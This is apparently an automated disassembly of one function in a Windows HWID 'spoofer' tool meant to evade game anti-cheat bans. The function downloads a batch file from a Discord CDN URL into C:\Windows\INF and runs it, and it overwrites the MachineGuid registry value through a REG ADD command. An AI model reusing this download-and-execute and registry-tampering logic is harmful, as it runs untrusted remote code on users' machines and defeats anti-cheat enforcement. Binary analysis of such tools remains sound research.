Function at 0x140001950
Capabilities:
Create process on windows
Download url
Execute command
Receive data
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x180], rax
xor r13d, r13d
mov r12d, r13d
mov dword [rsp + 0x58], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x1400065a0]
lea rdx, [0x140006430]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x140006740]
lea rdx, str.https:__cdn.discordapp.com_attachments_1229123446324330579_1233137428626411731_FNCLEAN.bat_ex662c0039is662aaeb9hmaacba3e611d2046836e30e2572d9d3cac730952e72066fc4da3d5be95c28d3bd
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.title_Peki_Spoofer_V4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Color_1f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Loading_spoofer...._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.https:__discord.gg_akfDT6Gb8K
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop dword [rax + rax]
lea rcx, [0x1400067f4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Color_f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x140006428]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140006428]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
lea rdx, str.____________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
lea rdx, str.__________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
lea rdx, str.______________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
lea rdx, str.__________________________________________________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
lea rdx, [0x140006a00]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.__________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140006428]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140006428]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._MAIN_THINGS
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.____1__Spoof_DO_FIRST_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.____2__Hwid_Checker
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140006428]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._SIDE_THINGS
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.____3__Cleaner
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.____4__Status
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.____5__Exit
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140006428]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._Enter_your_choice:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
lea rdx, [rbp + 0x140]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0x140]
sub ecx, 1
je 0x140001e48
sub ecx, 1
je 0x140001d0c
sub ecx, 1
je 0x140001e1e
sub ecx, 1
je 0x140001dcf
cmp ecx, 1
je 0x140003a21
lea rcx, [0x1400067f4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Diskdrive_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
lea rcx, str.wmic_diskdrive_get_model__serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Bios_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
lea rcx, str.wmic_bios_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Motherboard_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
lea rcx, str.wmic_baseboard_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Mac_address_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
lea rcx, str.getmac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x140006bf8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
lea rdx, str.if_everything_is_changed_you_are_unbanned_____just_remember_to_use_a_cleaner_____n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001a30
lea rcx, [0x1400067f4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x140006bf8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
lea rdx, [0x140006bf8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
lea rdx, str.Easyanticheat:_UD_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
lea rdx, str.Battleye:_UD__on_most_motherboards__n
jmp 0x140001db3
lea rcx, [0x1400067f4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsINFFNCLEAN.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001a30
lea rcx, [0x1400067f4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov edx, 0x1f4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], rax
lea rcx, [rbp + 0x148]
call fcn.1400011c0
nop
lea rdx, [0x140006428]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r14, qword [rbp + 0x148]
mov r15, qword [rbp + 0x150]
cmp r14, r15
je 0x140002110
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r13
mov qword [rbp + 0x138], r13
mov rsi, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x140001f05
mov rsi, qword [r14]
mov rdi, qword [r14 + 0x10]
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140003b88
cmp rdi, 0xf
ja 0x140001f44
mov qword [rbp + 0x130], rdi
mov edx, 0xf
mov qword [rbp + 0x138], rdx
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x120], xmm0
jmp 0x140001fed
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x140001f63
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140001f8a
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001fac
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b82
mov rcx, rax
call fcn.140004a98
mov rcx, rax
test rax, rax
je 0x140003a73
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001fbb
test rcx, rcx
je 0x140001fb8
call fcn.140004a98
jmp 0x140001fbb
mov rax, r13
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x130], rdi
mov qword [rbp + 0x138], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp + 0x138]
mov rdi, qword [rbp + 0x130]
lea rsi, [rbp + 0x120]
cmp rdx, 0xf
seta cl
mov r9, qword [rbp + 0x120]
cmova rsi, r9
add rsi, rdi
lea rax, [rbp + 0x120]
test cl, cl
je 0x14000201a
lea rbx, [r9 + rdi]
jmp 0x140002025
lea rbx, [rax + rdi]
lea r9, [rbp + 0x120]
mov r8b, 0x5c
mov rdx, rbx
mov rcx, r9
call fcn.140004990
mov r10, rax
cmp rax, rbx
je 0x140002059
inc rax
cmp rax, rbx
je 0x140002059
movzx ecx, byte [rax]
cmp cl, 0x5c
je 0x140002051
mov byte [r10], cl
inc r10
inc rax
cmp rax, rbx
jne 0x140002043
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
seta r8b
cmova rcx, qword [rbp + 0x120]
mov r9, r10
sub r9, rcx
sub rsi, r10
mov rbx, qword [rbp + 0x130]
mov rax, rbx
sub rax, r9
cmp rax, rsi
cmovb rsi, rax
lea rcx, [rbp + 0x120]
test r8b, r8b
cmovne rcx, qword [rbp + 0x120]
add rcx, r9
sub rbx, rsi
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rsi]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x130], rbx
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x140002103
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003a73
call fcn.140004a90
add r14, 0x20
cmp r14, r15
jne 0x140001ee0
lea rdx, [0x140006428]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Changing_guilds
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140003e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x160]
call fcn.1400013f0
nop
lea rdx, str.Changing_MachineGuid
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x1f4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rdx, 0x7fffffffffffffff
mov r15, rdx
mov r13, qword [rbp + 0x170]
sub r15, r13
cmp r15, 1
jb 0x140003b7c
lea r14, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
seta byte [rsp + 0x30]
mov rax, qword [rbp + 0x160]
mov qword [rsp + 0x58], rax
cmova r14, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
lea rsi, [r13 + 1]
mov ebx, 0xf
lea rdi, [rsp + 0x38]
cmp rsi, rbx
jbe 0x14000229e
mov rbx, rsi
or rbx, 0xf
cmp rbx, rdx
jbe 0x140002242
mov rbx, rdx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140002269
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002288
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b8e
mov rcx, rax
call fcn.140004a98
test rax, rax
je 0x140003ac0
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002299
test rcx, rcx
je 0x140002297
call fcn.140004a98
mov rdi, rax
jmp 0x140002299
xor edi, edi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rbx
mov byte [rdi], 0x22
lea rcx, [rdi + 1]
mov r8, r13
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
or r12d, 1
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x1400022fd
lea rax, [rcx + 1]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x38]
mov word [rax + rcx], 0x22
lea rax, [rsp + 0x38]
jmp 0x14000231c
mov qword [rsp + 0x20], 1
lea r9, [0x140006ce4]
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140004170
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
or r12d, 2
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], rsi
lea r8d, [rsi + 2]
lea rdx, [0x140006d08]
lea rcx, [rbp - 0x20]
call fcn.140003e80
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rsi
lea r8d, [rsi + 0x24]
lea rdx, str.HKLMSOFTWAREMicrosoftCryptography
lea rcx, [rbp - 0x40]
call fcn.140003e80
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], rsi
lea r8d, [rsi + 1]
lea rdx, [0x140006ce4]
lea rcx, [rbp + 0x40]
call fcn.140003e80
nop
mov r8, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x58]
mov rax, rcx
sub rax, r8
cmp rax, 8
jb 0x14000244d
lea rax, [r8 + 8]
mov qword [rbp + 0x50], rax
lea rbx, [rbp + 0x40]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x40]
lea rax, [0x140006d40]
lea r14, str.REG_ADD
cmp rax, rbx
jbe 0x14000240c
lea rax, [rbx + r8]
cmp r14, rax
ja 0x14000240c
cmp rbx, r14
ja 0x140002404
mov edi, esi
jmp 0x140002411
mov rdi, rbx
sub rdi, r14
jmp 0x140002411
mov edi, 8
lea rcx, [rbx + 8]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 8
sub r8, rdi
lea rdx, [r14 + 8]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x40]
jmp 0x140002470
mov qword [rsp + 0x28], 8
lea rax, str.REG_ADD
mov qword [rsp + 0x20], rax
mov edx, 8
lea rcx, [rbp + 0x40]
call fcn.1400047f0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or r12d, 4
lea r9, [rbp - 0x40]
lea r8, [rbp + 0xa0]
lea rcx, [rbp + 0xe0]
call fcn.140004340
or r12d, 8
lea r9, [rbp - 0x20]
lea r8, [rbp + 0xe0]
lea rcx, [rbp - 0x80]
call fcn.140004340
or r12d, 0x10
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 0x1c
jb 0x140002516
lea rax, [rcx + 0x1c]
mov qword [rbp - 0x70], rax
lea rbx, [rbp - 0x80]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x80]
add rbx, rcx
mov r8d, 0x1c
lea rdx, str._v_MachineGuid__t_REG_SZ__d
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x1c], 0
lea rax, [rbp - 0x80]
jmp 0x140002534
mov qword [rsp + 0x20], 0x1c
lea r9, str._v_MachineGuid__t_REG_SZ__d
mov edx, 0x1c
lea rcx, [rbp - 0x80]
call fcn.140004170
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or r12d, 0x20
lea r9, [rbp + 0xc0]
lea r8, [rbp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.140004340
or r12d, 0x40
mov rdi, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
sub rax, rdi
cmp rax, 3
jb 0x1400025bf
lea rax, [rdi + 3]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x60]
lea rcx, [rbx + rdi]
mov r8d, 3
lea rdx, [0x140006ce0]
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi + 3], 0
lea rax, [rsp + 0x60]
jmp 0x1400025de
mov qword [rsp + 0x20], 3
lea r9, [0x140006ce0]
mov edx, 3
lea rcx, [rsp + 0x60]
call fcn.140004170
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r12d, 7
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rcx, qword [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14000265f
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000265a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003a7a
call fcn.140004a90
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400026ac
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003a81
call fcn.140004a90
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x1400026fb
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003a88
call fcn.140004a90
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002736
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002731
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003a8f
call fcn.140004a90
mov qword [rbp - 0x70], rsi
